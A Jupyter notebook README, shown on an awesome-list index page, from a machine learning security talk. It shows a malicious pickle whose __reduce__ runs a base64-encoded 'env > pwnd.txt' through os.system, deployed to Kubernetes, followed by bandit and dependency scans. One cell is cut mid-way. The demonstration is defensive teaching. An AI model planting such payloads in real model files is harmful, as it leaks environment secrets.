Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/EthicalML/fml-security

Practical examples of "Flawed Machine Learning Security" together with ML Security best practice across the end to end stages of the machine learning model lifecycle from training, to packaging, to deployment.
https://github.com/EthicalML/fml-security

Last synced: about 1 month ago
JSON representation

Practical examples of "Flawed Machine Learning Security" together with ML Security best practice across the end to end stages of the machine learning model lifecycle from training, to packaging, to deployment.

Awesome Lists containing this project

README

        

{
"cells": [
{
"cell_type": "markdown",
"id": "9ad012ca",
"metadata": {},
"source": [
"[![Maintenance](https://img.shields.io/badge/Maintained%3F-YES-green.svg)](https://github.com/EthicalML/awesome-production-machine-learning/graphs/commit-activity)\n",
"![GitHub](https://img.shields.io/badge/Release-PROD-yellow.svg)\n",
"![GitHub](https://img.shields.io/badge/Languages-MULTI-blue.svg)\n",
"![GitHub](https://img.shields.io/badge/License-MIT-lightgrey.svg)\n",
"[![GitHub](https://img.shields.io/twitter/follow/axsaucedo.svg?label=Follow)](https://twitter.com/AxSaucedo/)"
]
},
{
"cell_type": "markdown",
"id": "e257722d",
"metadata": {},
"source": [
"\n",
"\n",
"\n",
"\n",
"

Flawed Machine Learning Security

\n",
"\n",
"\n",
"
(AKA Exploring Secure ML)\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"## About this repo\n",
"\n",
"This Repo contains a set of resources relevant to the talk \"Secure Machine Learning at Scale with MLSecOps\", and provides a set of examples to showcase practical common security flaws throughout the multiple phases of the machine learning lifecycle.\n",
"\n",
"We also present ways to mitigate and avoid these security vulnerabilities, which are grouped under the [\"SML Security (Safe ML Security)\" repo](https://github.com/EthicalML/sml-security/)."
]
},
{
"cell_type": "markdown",
"id": "91669114",
"metadata": {},
"source": [
"\n",
"## Relevant Links\n",
"\n",
"### Link to Talk Resources\n",
"\n",
"Below are links to resources related to the talk, as well as references and relevant areas in machine learning security.\n",
"\n",
"| | | |\n",
"|-|-|-|\n",
"|[πŸ“„ Presentaiton Slides](https://docs.google.com/presentation/d/1Gu0We8RcMHksWc-7FCy_kYNfH8rq_c6qcAOsacSLAbE/edit#slide=id.g1041fb76f2f_0_177) |[πŸ—£οΈ Safe Machine Learning Project Template](https://github.com/EthicalML/sml-security/) | [πŸ“½οΈ Talk Video](https://www.youtube.com/watch?v=82uiA5evtyU)|\n",
"\n",
"\n",
"### Navigating the Repo Examples\n",
"\n",
"Below is the direct links to each of the headers that map to the main key sections of the presentation slides.\n",
"\n",
"* [Train Model and Deploy Artifact](#1---train-model-and-deploy-artifact)\n",
"* [Load Pickle and Inject Malicious Code](#2---load-pickle-and-inject-malicious-code)\n",
"* [Adversarial Detection](#3---adversarial-detection)\n",
"* [Dependency Vulnerability Scans](#4---dependency-vulnerability-scans)\n",
"* [Code Scans](#5---code-scans)\n",
"* [Container Scans](#6---container-scan)\n",
"* [Honourable Mentions](#honourable-mentions)\n",
"* [Safe ML Project Template](#safe-ml-project-template)\n",
"\n",
"\n",
"### Links to Other Talks and Relevant Resources\n",
"\n",
"| | | |\n",
"|-|-|-|\n",
"|[πŸ“œ Machine Learning Ecosystem List](https://github.com/EthicalML/awesome-production-machine-learning/)|[πŸ“š The State of ML Operations](https://www.youtube.com/watch?v=Ynb6X0KZKxY)|[πŸ“ˆ Prod ML Monitoring](https://www.youtube.com/watch?v=QcevzK9ZuDg&t=3s)|||\n",
"|[πŸŒ€ Accelerating ML Inference at Scale](https://www.youtube.com/watch?v=T0pPn5KTxFE&t=4s)|[πŸ•΅οΈβ€β™€οΈ Alibi Detect Adversarial Detection](https://docs.seldon.io/projects/alibi-detect/en/latest/examples/alibi_detect_deploy.html)|[πŸ‘“ Practical AI Ethics](https://www.youtube.com/watch?v=57YpXjcj0Ho&t=63s)|||\n",
"\n",
"## Other relevant resources\n",
"\n",
"\n",
" \n",
" \n",
" You can join the Machine Learning Engineer newsletter. You will receive updates on open source frameworks, tutorials and articles curated by machine learning professionals.\n",
" \n",
" \n",
" \n",
" \n",
" \n",
""
]
},
{
"cell_type": "markdown",
"id": "52a22e81",
"metadata": {},
"source": [
"## Requirements\n",
"\n",
"The notebook was created with the following requirements:\n",
"\n",
"* kubectl - v1.22.5\n",
"* istioctl v1.11.4\n",
"* helm - v.3.7.0\n",
"* mc (minio client) - RELEASE.2020-04-17T08-55-48Z\n",
"* Kubernetes > 1.18\n",
"* Python 3.7\n",
"\n",
"## Setting up environment\n",
"\n",
"In order to set up the environment correctly, you will have to follow the [SETUP.ipynb](SETUP.ipynb) Jupyter notebook."
]
},
{
"cell_type": "markdown",
"id": "e8036a6d",
"metadata": {},
"source": [
"## 1 - Train Model and Deploy Artifact\n",
"\n",
"In this section we will train a machine learning model and deploy it with Seldon Core. We will overlook a lot of the details, but if you want to learn the ins-and-outs there are a set of talks referenced in the intro section above.\n",
"\n",
"![](images/ml-deploy.jpg)"
]
},
{
"cell_type": "markdown",
"id": "eb4ece9a",
"metadata": {},
"source": [
"#### Install requirements for model\n"
]
},
{
"cell_type": "code",
"execution_count": 3,
"id": "4a87a893",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Overwriting requirements.txt\n"
]
}
],
"source": [
"%%writefile requirements.txt\n",
"seldon_core\n",
"scikit-learn == 0.24.2\n",
"numpy >= 1.8.2\n",
"joblib == 0.16.0"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "735afb7a",
"metadata": {},
"outputs": [],
"source": [
"!pip install -r requirements.txt"
]
},
{
"cell_type": "markdown",
"id": "05ae5759",
"metadata": {},
"source": [
"#### Import datasets to train Iris model"
]
},
{
"cell_type": "code",
"execution_count": 2,
"id": "0195bb8c",
"metadata": {},
"outputs": [],
"source": [
"from sklearn import datasets\n",
"\n",
"iris = datasets.load_iris()\n",
"X, y = iris.data, iris.target"
]
},
{
"cell_type": "markdown",
"id": "b1bf7dcc",
"metadata": {},
"source": [
"#### Import simple LogsticRegression model"
]
},
{
"cell_type": "code",
"execution_count": 3,
"id": "91087153",
"metadata": {},
"outputs": [],
"source": [
"from sklearn.linear_model import LogisticRegression\n",
"\n",
"model = LogisticRegression(solver=\"liblinear\", multi_class='ovr')"
]
},
{
"cell_type": "markdown",
"id": "c400bd1f",
"metadata": {},
"source": [
"#### Train model with dataset"
]
},
{
"cell_type": "code",
"execution_count": 4,
"id": "1cd4cdd3",
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"LogisticRegression(multi_class='ovr', solver='liblinear')"
]
},
"execution_count": 4,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"model.fit(X, y)"
]
},
{
"cell_type": "markdown",
"id": "d6395a07",
"metadata": {},
"source": [
"#### Run prediction to test model"
]
},
{
"cell_type": "code",
"execution_count": 5,
"id": "0f3135ee",
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"array([0])"
]
},
"execution_count": 5,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"model.predict(X[:1])"
]
},
{
"cell_type": "markdown",
"id": "bdf5ef1d",
"metadata": {},
"source": [
"#### Dump model binary with pickle"
]
},
{
"cell_type": "code",
"execution_count": 6,
"id": "d0a98be9",
"metadata": {},
"outputs": [],
"source": [
"!mkdir -p fml-artifacts/safe/"
]
},
{
"cell_type": "code",
"execution_count": 7,
"id": "219b79eb",
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"['fml-artifacts/safe/model.joblib']"
]
},
"execution_count": 7,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"import joblib\n",
"\n",
"joblib.dump(model, \"fml-artifacts/safe/model.joblib\")"
]
},
{
"cell_type": "code",
"execution_count": 8,
"id": "b67dcf6a",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[b'\\x80\\x03csklearn.linear_model._logistic\\n', b'LogisticRegression\\n', b'q\\x00)\\x81q\\x01}q\\x02(X\\x07\\x00\\x00\\x00penaltyq\\x03X\\x02\\x00\\x00\\x00l2q\\x04X\\x04\\x00\\x00\\x00dualq\\x05\\x89X\\x03\\x00\\x00\\x00tolq\\x06G?\\x1a6\\xe2\\xeb\\x1cC-X\\x01\\x00\\x00\\x00Cq\\x07G?\\xf0\\x00\\x00\\x00\\x00\\x00\\x00X\\r\\x00\\x00\\x00fit_interceptq\\x08\\x88X\\x11\\x00\\x00\\x00intercept_scalingq\\tK\\x01X\\x0c\\x00\\x00\\x00class_weightq\\n', b'NX\\x0c\\x00\\x00\\x00random_stateq\\x0bNX\\x06\\x00\\x00\\x00solverq\\x0cX\\t\\x00\\x00\\x00liblinearq\\rX\\x08\\x00\\x00\\x00max_iterq\\x0eKdX\\x0b\\x00\\x00\\x00multi_classq\\x0fX\\x03\\x00\\x00\\x00ovrq\\x10X\\x07\\x00\\x00\\x00verboseq\\x11K\\x00X\\n', b'\\x00\\x00\\x00warm_startq\\x12\\x89X\\x06\\x00\\x00\\x00n_jobsq\\x13NX\\x08\\x00\\x00\\x00l1_ratioq\\x14NX\\x0e\\x00\\x00\\x00n_features_in_q\\x15K\\x04X\\x08\\x00\\x00\\x00classes_q\\x16cjoblib.numpy_pickle\\n', b'NumpyArrayWrapper\\n', b'q\\x17)\\x81q\\x18}q\\x19(X\\x08\\x00\\x00\\x00subclassq\\x1acnumpy\\n', b'ndarray\\n', b'q\\x1bX\\x05\\x00\\x00\\x00shapeq\\x1cK\\x03\\x85q\\x1dX\\x05\\x00\\x00\\x00orderq\\x1eh\\x07X\\x05\\x00\\x00\\x00dtypeq\\x1fcnumpy\\n', b'dtype\\n', b'q X\\x02\\x00\\x00\\x00i8q!\\x89\\x88\\x87q\"Rq#(K\\x03X\\x01\\x00\\x00\\x00 pwnd.txt\"\n",
" cmd = base64.b64decode(\"ZW52ID4gcHduZC50eHQ=\").decode() \n",
" return os.system, (cmd,)"
]
},
{
"cell_type": "code",
"execution_count": 16,
"id": "16e644fd",
"metadata": {},
"outputs": [],
"source": [
"model_safe.__class__.__reduce__ = types.MethodType(__reduce__, model_safe.__class__)"
]
},
{
"cell_type": "code",
"execution_count": 17,
"id": "c7313919",
"metadata": {},
"outputs": [],
"source": [
"!mkdir -p fml-artifacts/unsafe/"
]
},
{
"cell_type": "code",
"execution_count": 18,
"id": "7d7d9dc5",
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"['fml-artifacts/unsafe/model.joblib']"
]
},
"execution_count": 18,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"joblib.dump(model_safe, \"fml-artifacts/unsafe/model.joblib\")"
]
},
{
"cell_type": "code",
"execution_count": 19,
"id": "9deaba78",
"metadata": {
"scrolled": true
},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[b'\\x80\\x03cposix\\n', b'system\\n', b'q\\x00X\\x0e\\x00\\x00\\x00env > pwnd.txtq\\x01\\x85q\\x02Rq\\x03.']\n"
]
}
],
"source": [
"with open(\"fml-artifacts/unsafe/model.joblib\", \"rb\") as f: print(f.readlines())"
]
},
{
"cell_type": "markdown",
"id": "9d56a665",
"metadata": {},
"source": [
"#### Deploy the model"
]
},
{
"cell_type": "code",
"execution_count": 53,
"id": "a0aa434e",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"\u001b[m\u001b[32;1m\r",
" 0 B / ? ┃░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓┃\u001b[0m\u001b[0m\u001b[m\u001b[32;1m\r",
"...el.joblib: 1.05 KiB / 1.05 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 111.11 KiB/s 0s\u001b[0m\u001b[0m"
]
}
],
"source": [
"!mc cp -r fml-artifacts/ minio-seldon/fml-artifacts/"
]
},
{
"cell_type": "code",
"execution_count": 20,
"id": "67b2a805",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"seldondeployment.machinelearning.seldon.io/model-unsafe unchanged\n"
]
}
],
"source": [
"%%bash\n",
"kubectl apply -f - << END\n",
"apiVersion: machinelearning.seldon.io/v1\n",
"kind: SeldonDeployment\n",
"metadata:\n",
" name: model-unsafe\n",
"spec:\n",
" predictors:\n",
" - graph:\n",
" implementation: SKLEARN_SERVER\n",
" modelUri: s3://fml-artifacts/unsafe\n",
" envSecretRefName: seldon-init-container-secret\n",
" name: classifier\n",
" name: default\n",
"END"
]
},
{
"cell_type": "code",
"execution_count": 21,
"id": "19b8ae10",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"NAME READY STATUS RESTARTS AGE\r\n",
"model-safe-default-0-classifier-68f495d845-l9ff9 2/2 Running 0 43m\r\n",
"model-unsafe-default-0-classifier-85969ff86c-kd62w 2/2 Running 0 43m\r\n"
]
}
],
"source": [
"!kubectl get pods"
]
},
{
"cell_type": "code",
"execution_count": 22,
"id": "e6892860",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"SERVICE_TYPE=MODEL\n",
"LC_ALL=C.UTF-8\n",
"MODEL_UNSAFE_DEFAULT_SERVICE_PORT_GRPC=5001\n",
"MODEL_UNSAFE_DEFAULT_SERVICE_PORT_HTTP=8000\n",
"MODEL_SAFE_DEFAULT_PORT_5001_TCP_PROTO=tcp\n"
]
}
],
"source": [
"%%bash\n",
"UNSAFE_POD=$(kubectl get pod -l app=model-unsafe-default-0-classifier -o jsonpath=\"{.items[0].metadata.name}\")\n",
"kubectl exec $UNSAFE_POD -c classifier -- head -5 pwnd.txt"
]
},
{
"cell_type": "markdown",
"id": "eaa09132",
"metadata": {},
"source": [
"#### Now reload the insecure pickle"
]
},
{
"cell_type": "code",
"execution_count": 23,
"id": "d1d749a0",
"metadata": {},
"outputs": [],
"source": [
"!rm pwnd.txt"
]
},
{
"cell_type": "code",
"execution_count": 24,
"id": "18989e88",
"metadata": {},
"outputs": [],
"source": [
"import joblib\n",
"\n",
"model_unsafe = joblib.load(\"fml-artifacts/unsafe/model.joblib\")"
]
},
{
"cell_type": "code",
"execution_count": 25,
"id": "380b1216",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"CONDA_PROMPT_MODIFIER=(base) \r\n",
"TMUX=/tmp/tmux-1000/default,110,0\r\n",
"PYSPARK_DRIVER_PYTHON=jupyter\r\n",
"USER=alejandro\r\n"
]
}
],
"source": [
"!head -4 pwnd.txt"
]
},
{
"cell_type": "markdown",
"id": "2717fe95",
"metadata": {},
"source": [
"#### Cleaning Artifacts Section"
]
},
{
"cell_type": "code",
"execution_count": 26,
"id": "97b50d08",
"metadata": {},
"outputs": [],
"source": [
"!rm pwnd.txt"
]
},
{
"cell_type": "code",
"execution_count": 48,
"id": "13de0100",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"seldondeployment.machinelearning.seldon.io \"model-safe\" deleted\r\n",
"seldondeployment.machinelearning.seldon.io \"model-unsafe\" deleted\r\n"
]
}
],
"source": [
"!kubectl delete sdep model-safe model-unsafe "
]
},
{
"cell_type": "markdown",
"id": "94219270",
"metadata": {},
"source": [
"## 3 - Adversarial Detection"
]
},
{
"cell_type": "markdown",
"id": "85f417d9",
"metadata": {},
"source": [
"Using Alibi Detect end to end adversarial detection example https://docs.seldon.io/projects/alibi-detect/en/latest/examples/alibi_detect_deploy.html"
]
},
{
"cell_type": "markdown",
"id": "17b70b49",
"metadata": {},
"source": [
"## 4 - Code Scans\n",
"\n",
"![](images/ml-code.jpg)\n",
"\n",
"We use `bandit` for python AST code scans, which we can make sure to extend as well to some of the code that is being used in Jupyter notebooks where relevant.\n",
"\n",
"Examples of key areas that we would be interested to identify:\n",
"\n",
"* Ensuring secrets/keys are not being committed to the repo\n",
"* Ensuring bad practice can be avoided where clear potential risk\n",
"* Identifying and pointing potentially risky code paths\n",
"* Providing suggestions where best practices can be provided"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "c0ac2084",
"metadata": {},
"outputs": [],
"source": [
"!pip install bandit"
]
},
{
"cell_type": "code",
"execution_count": 40,
"id": "ccc65379",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[main]\tINFO\tprofile include tests: None\r\n",
"[main]\tINFO\tprofile exclude tests: None\r\n",
"[main]\tINFO\tcli include tests: None\r\n",
"[main]\tINFO\tcli exclude tests: None\r\n",
"[main]\tINFO\trunning on Python 3.7.12\r\n",
"[manager]\tWARNING\tSkipping directory (.), use -r flag to scan contents\r\n",
"\u001b[95mRun started:2022-04-10 17:04:48.838869\u001b[0m\r\n",
"\u001b[95m\r\n",
"Test results:\u001b[0m\r\n",
"\tNo issues identified.\r\n",
"\u001b[95m\r\n",
"Code scanned:\u001b[0m\r\n",
"\tTotal lines of code: 0\r\n",
"\tTotal lines skipped (#nosec): 0\r\n",
"\u001b[95m\r\n",
"Run metrics:\u001b[0m\r\n",
"\tTotal issues (by severity):\r\n",
"\t\tUndefined: 0\r\n",
"\t\tLow: 0\r\n",
"\t\tMedium: 0\r\n",
"\t\tHigh: 0\r\n",
"\tTotal issues (by confidence):\r\n",
"\t\tUndefined: 0\r\n",
"\t\tLow: 0\r\n",
"\t\tMedium: 0\r\n",
"\t\tHigh: 0\r\n",
"\u001b[95mFiles skipped (0):\u001b[0m\r\n"
]
}
],
"source": [
"!bandit ."
]
},
{
"cell_type": "markdown",
"id": "180c8dd2",
"metadata": {},
"source": [
"## 5 - Dependency Vulnerability Scans"
]
},
{
"cell_type": "markdown",
"id": "afdc0d5f",
"metadata": {},
"source": [
"#### Revisiting our requirements"
]
},
{
"cell_type": "code",
"execution_count": 1,
"id": "b8ffd0f8",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"seldon_core\r\n",
"scikit-learn == 0.24.2\r\n",
"numpy >= 1.8.2\r\n",
"joblib == 0.16.0\r\n"
]
}
],
"source": [
"!cat requirements.txt"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "0ba0fe84",
"metadata": {},
"outputs": [],
"source": [
"!pip install pipdeptree"
]
},
{
"cell_type": "code",
"execution_count": 26,
"id": "85a7b141",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Warning!!! Possibly conflicting dependencies found:\r\n",
"* docker-compose==1.25.0\r\n",
" - cached-property [required: >=1.2.0,<2, installed: ?]\r\n",
" - websocket-client [required: >=0.32.0,<1, installed: ?]\r\n",
" - docker [required: >=3.7.0,<5, installed: ?]\r\n",
" - PyYAML [required: >=3.10,<5, installed: 5.4.1]\r\n",
"------------------------------------------------------------------------\r\n",
"bandit==1.7.4\r\n",
" - GitPython [required: >=1.0.1, installed: 3.1.27]\r\n",
" - gitdb [required: >=4.0.1,<5, installed: 4.0.9]\r\n",
" - smmap [required: >=3.0.1,<6, installed: 5.0.0]\r\n",
" - typing-extensions [required: >=3.7.4.3, installed: 4.1.1]\r\n",
" - PyYAML [required: >=5.3.1, installed: 5.4.1]\r\n",
" - stevedore [required: >=1.20.0, installed: 3.5.0]\r\n",
" - importlib-metadata [required: >=1.7.0, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - pbr [required: >=2.0.0,!=2.1.0, installed: 5.8.1]\r\n",
"docker-compose==1.25.0\r\n",
" - cached-property [required: >=1.2.0,<2, installed: ?]\r\n",
" - docker [required: >=3.7.0,<5, installed: ?]\r\n",
" - dockerpty [required: >=0.4.1,<1, installed: 0.4.1]\r\n",
" - six [required: >=1.3.0, installed: 1.16.0]\r\n",
" - docopt [required: >=0.6.1,<1, installed: 0.6.2]\r\n",
" - jsonschema [required: >=2.5.1,<4, installed: 3.2.0]\r\n",
" - attrs [required: >=17.4.0, installed: 21.4.0]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - pyrsistent [required: >=0.14.0, installed: 0.18.1]\r\n",
" - setuptools [required: Any, installed: 62.0.0]\r\n",
" - six [required: >=1.11.0, installed: 1.16.0]\r\n",
" - PyYAML [required: >=3.10,<5, installed: 5.4.1]\r\n",
" - requests [required: >=2.20.0,<3, installed: 2.27.1]\r\n",
" - certifi [required: >=2017.4.17, installed: 2021.10.8]\r\n",
" - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]\r\n",
" - idna [required: >=2.5,<4, installed: 3.3]\r\n",
" - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]\r\n",
" - six [required: >=1.3.0,<2, installed: 1.16.0]\r\n",
" - texttable [required: >=0.9.0,<2, installed: 1.6.2]\r\n",
" - websocket-client [required: >=0.32.0,<1, installed: ?]\r\n",
"paramiko==2.7.1\r\n",
" - bcrypt [required: >=3.1.3, installed: 3.1.7]\r\n",
" - cffi [required: >=1.1, installed: 1.15.0]\r\n",
" - pycparser [required: Any, installed: 2.21]\r\n",
" - six [required: >=1.4.1, installed: 1.16.0]\r\n",
" - cryptography [required: >=2.5, installed: 3.4.8]\r\n",
" - cffi [required: >=1.12, installed: 1.15.0]\r\n",
" - pycparser [required: Any, installed: 2.21]\r\n",
" - pynacl [required: >=1.0.1, installed: 1.3.0]\r\n",
" - cffi [required: >=1.4.1, installed: 1.15.0]\r\n",
" - pycparser [required: Any, installed: 2.21]\r\n",
" - six [required: Any, installed: 1.16.0]\r\n",
"pipdeptree==2.2.1\r\n",
" - pip [required: >=6.0.0, installed: 22.0.4]\r\n",
"piprot==0.9.11\r\n",
" - requests [required: Any, installed: 2.27.1]\r\n",
" - certifi [required: >=2017.4.17, installed: 2021.10.8]\r\n",
" - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]\r\n",
" - idna [required: >=2.5,<4, installed: 3.3]\r\n",
" - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]\r\n",
" - requests-futures [required: Any, installed: 1.0.0]\r\n",
" - requests [required: >=1.2.0, installed: 2.27.1]\r\n",
" - certifi [required: >=2017.4.17, installed: 2021.10.8]\r\n",
" - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]\r\n",
" - idna [required: >=2.5,<4, installed: 3.3]\r\n",
" - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]\r\n",
" - six [required: Any, installed: 1.16.0]\r\n",
"pytest==5.4.3\r\n",
" - attrs [required: >=17.4.0, installed: 21.4.0]\r\n",
" - importlib-metadata [required: >=0.12, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - more-itertools [required: >=4.0.0, installed: 8.12.0]\r\n",
" - packaging [required: Any, installed: 21.3]\r\n",
" - pyparsing [required: >=2.0.2,!=3.0.5, installed: 3.0.8]\r\n",
" - pluggy [required: >=0.12,<1.0, installed: 0.13.1]\r\n",
" - importlib-metadata [required: >=0.12, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - py [required: >=1.5.0, installed: 1.11.0]\r\n",
" - wcwidth [required: Any, installed: 0.2.5]\r\n",
"safety==1.10.3\r\n",
" - Click [required: >=6.0, installed: 8.0.4]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - dparse [required: >=0.5.1, installed: 0.5.1]\r\n",
" - packaging [required: Any, installed: 21.3]\r\n",
" - pyparsing [required: >=2.0.2,!=3.0.5, installed: 3.0.8]\r\n",
" - pyyaml [required: Any, installed: 5.4.1]\r\n",
" - toml [required: Any, installed: 0.10.2]\r\n",
" - packaging [required: Any, installed: 21.3]\r\n",
" - pyparsing [required: >=2.0.2,!=3.0.5, installed: 3.0.8]\r\n",
" - requests [required: Any, installed: 2.27.1]\r\n",
" - certifi [required: >=2017.4.17, installed: 2021.10.8]\r\n",
" - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]\r\n",
" - idna [required: >=2.5,<4, installed: 3.3]\r\n",
" - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]\r\n",
" - setuptools [required: Any, installed: 62.0.0]\r\n",
"scikit-learn==0.24.2\r\n",
" - joblib [required: >=0.11, installed: 0.16.0]\r\n",
" - numpy [required: >=1.13.3, installed: 1.21.5]\r\n",
" - scipy [required: >=0.19.1, installed: 1.7.3]\r\n",
" - numpy [required: >=1.16.5,<1.23.0, installed: 1.21.5]\r\n",
" - threadpoolctl [required: >=2.0.0, installed: 3.1.0]\r\n",
"seldon-core==1.13.1\r\n",
" - click [required: >=8.0.0a1,<8.1, installed: 8.0.4]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - cryptography [required: >=3.4,<3.5, installed: 3.4.8]\r\n",
" - cffi [required: >=1.12, installed: 1.15.0]\r\n",
" - pycparser [required: Any, installed: 2.21]\r\n",
" - Flask [required: <2.0.0, installed: 1.1.2]\r\n",
" - click [required: >=5.1, installed: 8.0.4]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - itsdangerous [required: >=0.24, installed: 1.1.0]\r\n",
" - Jinja2 [required: >=2.10.1, installed: 2.11.3]\r\n",
" - MarkupSafe [required: >=0.23, installed: 1.1.1]\r\n",
" - Werkzeug [required: >=0.15, installed: 2.1.1]\r\n",
" - Flask-cors [required: <4.0.0, installed: 3.0.10]\r\n",
" - Flask [required: >=0.9, installed: 1.1.2]\r\n",
" - click [required: >=5.1, installed: 8.0.4]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - itsdangerous [required: >=0.24, installed: 1.1.0]\r\n",
" - Jinja2 [required: >=2.10.1, installed: 2.11.3]\r\n",
" - MarkupSafe [required: >=0.23, installed: 1.1.1]\r\n",
" - Werkzeug [required: >=0.15, installed: 2.1.1]\r\n",
" - Six [required: Any, installed: 1.16.0]\r\n",
" - Flask-OpenTracing [required: >=1.1.0,<1.2.0, installed: 1.1.0]\r\n",
" - Flask [required: Any, installed: 1.1.2]\r\n",
" - click [required: >=5.1, installed: 8.0.4]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - itsdangerous [required: >=0.24, installed: 1.1.0]\r\n",
" - Jinja2 [required: >=2.10.1, installed: 2.11.3]\r\n",
" - MarkupSafe [required: >=0.23, installed: 1.1.1]\r\n",
" - Werkzeug [required: >=0.15, installed: 2.1.1]\r\n",
" - opentracing [required: >=2.0,<3, installed: 2.4.0]\r\n",
" - flatbuffers [required: <2.0.0, installed: 1.12]\r\n",
" - grpcio [required: <2.0.0, installed: 1.45.0]\r\n",
" - six [required: >=1.5.2, installed: 1.16.0]\r\n",
" - grpcio-opentracing [required: >=1.1.4,<1.2.0, installed: 1.1.4]\r\n",
" - grpcio [required: >=1.1.3,<2.0, installed: 1.45.0]\r\n",
" - six [required: >=1.5.2, installed: 1.16.0]\r\n",
" - opentracing [required: >=1.2.2, installed: 2.4.0]\r\n",
" - six [required: >=1.10, installed: 1.16.0]\r\n",
" - grpcio-reflection [required: <1.35.0, installed: 1.34.1]\r\n",
" - grpcio [required: >=1.34.1, installed: 1.45.0]\r\n",
" - six [required: >=1.5.2, installed: 1.16.0]\r\n",
" - protobuf [required: >=3.6.0, installed: 3.20.0]\r\n",
" - gunicorn [required: >=19.9.0,<20.2.0, installed: 20.1.0]\r\n",
" - setuptools [required: >=3.0, installed: 62.0.0]\r\n",
" - itsdangerous [required: ==1.1.0, installed: 1.1.0]\r\n",
" - jaeger-client [required: >=4.1.0,<4.5.0, installed: 4.4.0]\r\n",
" - opentracing [required: >=2.1,<3.0, installed: 2.4.0]\r\n",
" - threadloop [required: >=1,<2, installed: 1.0.2]\r\n",
" - tornado [required: Any, installed: 6.1]\r\n",
" - thrift [required: Any, installed: 0.16.0]\r\n",
" - six [required: >=1.7.2, installed: 1.16.0]\r\n",
" - tornado [required: >=4.3, installed: 6.1]\r\n",
" - jsonschema [required: <4.0.0, installed: 3.2.0]\r\n",
" - attrs [required: >=17.4.0, installed: 21.4.0]\r\n",
" - importlib-metadata [required: Any, installed: 4.11.3]\r\n",
" - typing-extensions [required: >=3.6.4, installed: 4.1.1]\r\n",
" - zipp [required: >=0.5, installed: 3.8.0]\r\n",
" - pyrsistent [required: >=0.14.0, installed: 0.18.1]\r\n",
" - setuptools [required: Any, installed: 62.0.0]\r\n",
" - six [required: >=1.11.0, installed: 1.16.0]\r\n",
" - markupsafe [required: ==1.1.1, installed: 1.1.1]\r\n",
" - numpy [required: <2.0.0, installed: 1.21.5]\r\n",
" - opentracing [required: >=2.2.0,<2.5.0, installed: 2.4.0]\r\n",
" - prometheus-client [required: >=0.7.1,<0.9.0, installed: 0.8.0]\r\n",
" - protobuf [required: <4.0.0, installed: 3.20.0]\r\n",
" - PyYAML [required: >=5.4,<5.5, installed: 5.4.1]\r\n",
" - requests [required: <3.0.0, installed: 2.27.1]\r\n",
